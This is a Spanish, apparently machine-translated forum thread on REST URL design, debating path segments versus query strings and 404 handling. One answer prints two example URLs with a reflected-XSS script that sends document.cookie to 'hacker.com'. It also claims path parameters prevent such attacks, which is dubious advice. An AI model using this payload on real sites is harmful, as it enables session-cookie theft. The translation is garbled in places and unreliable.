restful - Querystring en URL de recurso REST
rest vs soap (10)
El final de esos dos URI no es muy significativo RESTfully.
Sin embargo, la porción ''findbyproductcode'' podría ser más tranquila. ¿Por qué no solo http://localhost/product/4xxheau ?
En mi experiencia limitada, si tiene un identificador único, se vería limpio para construir el URI como ... / product / {id}. Sin embargo, si el código del producto no es único, entonces podría diseñarlo más como # 2.
Sin embargo, como Darrel ha observado, al cliente no le debe importar cómo se ve el URI.
Tuve una conversación con un colega hoy sobre el uso de cadenas de consulta en URL REST. Toma estos 2 ejemplos:
1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua
Mi postura era que las URL deberían diseñarse como en el ejemplo 1. Esto es más limpio y lo que creo que es correcto dentro de REST. En mi opinión, sería completamente correcto devolver un error 404 del ejemplo 1 si el código del producto no existía, mientras que con el ejemplo 2, devolver un 404 sería incorrecto ya que la página debería existir. Su postura era que realmente no importaba y que los dos hacen lo mismo.
Como ninguno de nosotros pudo encontrar evidencia concreta (sin duda mi búsqueda no fue extensa) me gustaría conocer las opiniones de otras personas al respecto.
En las típicas API REST, el ejemplo n. ° 1 es más correcto. Los recursos se representan como URI y # 1 hace eso más. Devolver un 404 cuando no se encuentra el código del producto es absolutamente el comportamiento correcto. Habiendo dicho eso, modificaría ligeramente el # 1 para ser un poco más expresivo como este:
http://localhost/products/code/4xheaua
Mire otras API REST bien diseñadas; por ejemplo, mire . Tienes:
.com/questions
.com/questions/tagged/rest
.com/questions/3821663
Estas son todas formas diferentes de obtener "preguntas".
Esta pregunta está deticada, ¿cuál es el enfoque más limpio? Pero quiero centrarme en un aspecto diferente, llamado seguridad. Cuando empecé a trabajar intensamente en la seguridad de las aplicaciones, descubrí que un ataque XSS reflejado se puede evitar con éxito utilizando PathParams
(appraoch 1) en lugar de QueryParams
(approach 2).
(Por supuesto, el requisito previo de un ataque XSS reflejado es que la entrada del usuario malicioso se refleje en el origen html del cliente. Desafortunadamente, algunas aplicaciones lo harán, y es por eso que PathParams
puede evitar ataques XSS)
La razón por la que esto funciona es porque la carga útil XSS en combinación con PathParams
generará una ruta de URL desconocida e indefinida debido a las barras inclinadas dentro de la carga útil.
http://victim.com/findbyproductcode/<script>location.href=''http://hacker.com?sessionToken=''+document.cookie;</script>**
¡Considerando que este ataque tendrá éxito usando un QueryParam
!
http://localhost/findbyproductcode?productcode=<script>location.href=''http://hacker.com?sessionToken=''+document.cookie;</script>
Filosóficamente hablando, las páginas no "existen". Cuando pones libros o papeles en tu estante, permanecen allí. Ellos tienen una existencia separada en ese estante. Sin embargo, una página existe solo mientras esté alojada en alguna computadora que esté encendida y pueda proporcionarla bajo demanda. La página puede, por supuesto, generarse siempre sobre la marcha, por lo que no necesita tener una existencia especial antes de su solicitud.
Ahora piénsalo desde el punto de vista del servidor. Supongamos que es, por ejemplo, Apache configurado correctamente --- no es un servidor de una línea de python simplemente asignando todas las solicitudes al sistema de archivos. Entonces la ruta particular especificada en la URL puede no tener nada que ver con la ubicación de un archivo en particular en el sistema de archivos. Entonces, una vez más, una página no "existe" en ningún sentido claro. Tal vez solicite http://some.url/products/intel.html
y obtenga una página; luego solicita http://some.url/products/bigmac.html
, y no ve nada. No significa que hay un archivo, pero no el otro. Es posible que no tenga permisos para acceder al otro archivo, por lo que el servidor devuelve 404 o, tal vez, bigmac.html
se sirvió desde un servidor Mc''Donalds remoto, que está temporalmente inactivo.
Lo que intento explicar es que 404
es solo un número. No tiene nada de especial: podría haber sido 40404
o -2349.23847
, acabamos de -2349.23847
usar 404
. Significa que el servidor está allí, se comunica con usted, probablemente entendió lo que quería y no tiene nada que devolverle. Si cree que es apropiado devolver 404
para http://some.url/products/bigmac.html
cuando el servidor decida no http://some.url/products/bigmac.html
el archivo por alguna razón, entonces también puede aceptar devolver 404
para http://some.url/products?id=bigmac
.
Ahora, si quiere ayudar a los usuarios con un navegador que intenta editar manualmente la URL, puede redirigirlos a una página con la lista de todos los productos y algunas capacidades de búsqueda en lugar de darles un 404
--- o puedes dar un 404
como código y un enlace a todos los productos. Pero luego, puede hacer lo mismo con http://some.url/products/bigmac.html
: redirigir automáticamente a una página con todos los productos.
Hay dos casos de uso para GET
- Obtenga un recurso identificado de manera única
- Buscar recurso (s) según criterios dados
Ejemplo de caso 1 de uso:
/ productos / 4xxheua
Obtenga un producto identificado de manera única, devuelve 404 si no se encuentra.
Ejemplo de caso 2 de uso:
/ productos? tamaño = grande y color = rojo
Busque un producto, devuelve la lista de productos que coincidan (de 0 a muchos).
Si miramos, digamos, la API de Google Maps, podemos ver que usan una cadena de búsqueda para la búsqueda.
por ejemplo, http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false
Por lo tanto, ambos estilos son válidos para sus propios casos de uso.
IMO, el componente de ruta siempre debe indicar lo que desea recuperar. Una URL como http://localhost/findbyproductcode solo dice que quiero recuperar algo por código de producto, pero ¿qué es exactamente?
Por lo tanto, recupera contactos con http://localhost/contacts y usuarios con http://localhost/users . La cadena de consulta solo se usa para recuperar un subconjunto de dicha lista en función de los atributos del recurso. La única excepción a esto es cuando este subconjunto se reduce a un registro basado en la clave principal, luego utiliza algo como http: // localhost / contact / [primary_key].
Ese es mi enfoque, su kilometraje puede variar :)
La cadena de consulta es inevitable en muchos sentidos prácticos ... Considere lo que sucedería si la búsqueda permitiera múltiples campos (opcionales) para todos los especificados. En la primera forma, sus posiciones en la jerarquía tendrían que ser arregladas y acolchadas ...
Imagínese la codificación de una cláusula "where" de SQL general en ese formato ... Sin embargo, como cadena de consulta, es bastante simple.
No hay diferencia entre los dos URI desde la perspectiva del cliente. Los URI son opacos para el cliente. Utilice los mapas más limpios en su infraestructura del lado del servidor.
En lo que respecta a REST, no hay absolutamente ninguna diferencia. Creo que la razón por la que tantas personas creen que es solo el componente de ruta el que identifica el recurso se debe a la siguiente línea en RFC 2396
El componente de consulta es una cadena de información para ser interpretada por el recurso.
Esta línea se modificó más tarde en RFC 3986 para ser:
El componente de consulta contiene datos no jerárquicos que, junto con los datos en el componente de ruta (Sección 3.3), sirven para identificar un recurso
En mi humilde opinión, esto significa que tanto la cadena de consulta como el segmento de ruta son funcionalmente equivalentes cuando se trata de identificar un recurso.
Actualización para abordar el comentario de Steve.
Perdóname si me opongo al adjetivo "limpiador". Es demasiado subjetivo. Sin embargo, tienes razón en que me perdí una parte importante de la pregunta.
Creo que la respuesta a si devolver 404 depende de cuál es el recurso que se está recuperando. ¿Es una representación de un resultado de búsqueda, o es una representación de un producto? Para saber esto, realmente necesitas ver la relación de enlace que nos llevó a la URL.
Si se supone que la URL debe devolver una representación del Producto, se debe devolver un 404 si el código no existe. Si la URL devuelve un resultado de búsqueda, entonces no debería devolver un 404.
El resultado final es que el aspecto de la URL no es el factor determinante. Una vez dicho esto, es una convención que las cadenas de consulta se utilicen para devolver los resultados de búsqueda, por lo que es más intuitivo utilizar ese estilo de URL cuando no desee devolver 404s.
Por el cliente REST, la estructura URI no importa, porque sigue enlaces anotados con semántica, y nunca analiza el URI.
Por parte del desarrollador que escribe la lógica de enrutamiento y la lógica de generación de enlace, y probablemente quiera comprender el registro verificando las URL, la estructura del URI sí importa. Con REST, asignamos los URI a los recursos y no a las operaciones: disertación de campo / interfaz uniforme / identificación de los recursos .
Por lo tanto, ambas estructuras de URI son probablemente defectuosas porque contienen verbos en su formato actual.
1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua
Puede eliminar los find
de los URI de esta manera:
1. /products/code:4xxheua
2. /products?code="4xxheua"
Desde una perspectiva REST no importa cuál elijas.
Puede definir su propia convención de nomenclatura, por ejemplo: "reduciendo la recopilación a un solo recurso utilizando un identificador único, el identificador exclusivo debe ser siempre parte de la ruta y no de la consulta". Esto es exactamente lo que indica el estándar URI: la ruta es jerárquica, la consulta no es jerárquica. Entonces usaría /products/code:4xxheua
.
Tal como lo pienso, la ruta URI define el recurso, mientras que las cadenas de consulta opcionales proporcionan información definida por el usuario. Asi que
https://domain.com/products/42
identifica un producto en particular mientras
https://domain.com/products?price=under+5
podría buscar productos por debajo de $ 5.
No estoy de acuerdo con quienes dijeron utilizar cadenas de caracteres para identificar un recurso que sea consistente con REST. Gran parte de REST está creando una API que imita un sistema de archivos jerárquico estático (sin necesitar literalmente dicho sistema en el back-end), esto hace que los identificadores de recursos semánticos sean intuitivos. Querystrings rompe esta jerarquía. Por ejemplo, los relojes son un accesorio que tiene accesorios. En el estilo REST, está bastante claro qué
https://domain.com/accessories/watches
y
https://domain.com/watches/accessories
cada uno se refiere a Con querystrings,
https://domain.com?product=watches&category=accessories
no es muy claro.
Como mínimo, el estilo REST es mejor que las cadenas de cifrado, ya que requiere aproximadamente la mitad de la información, ya que el orden fuerte de los parámetros nos permite eliminar los nombres de los parámetros.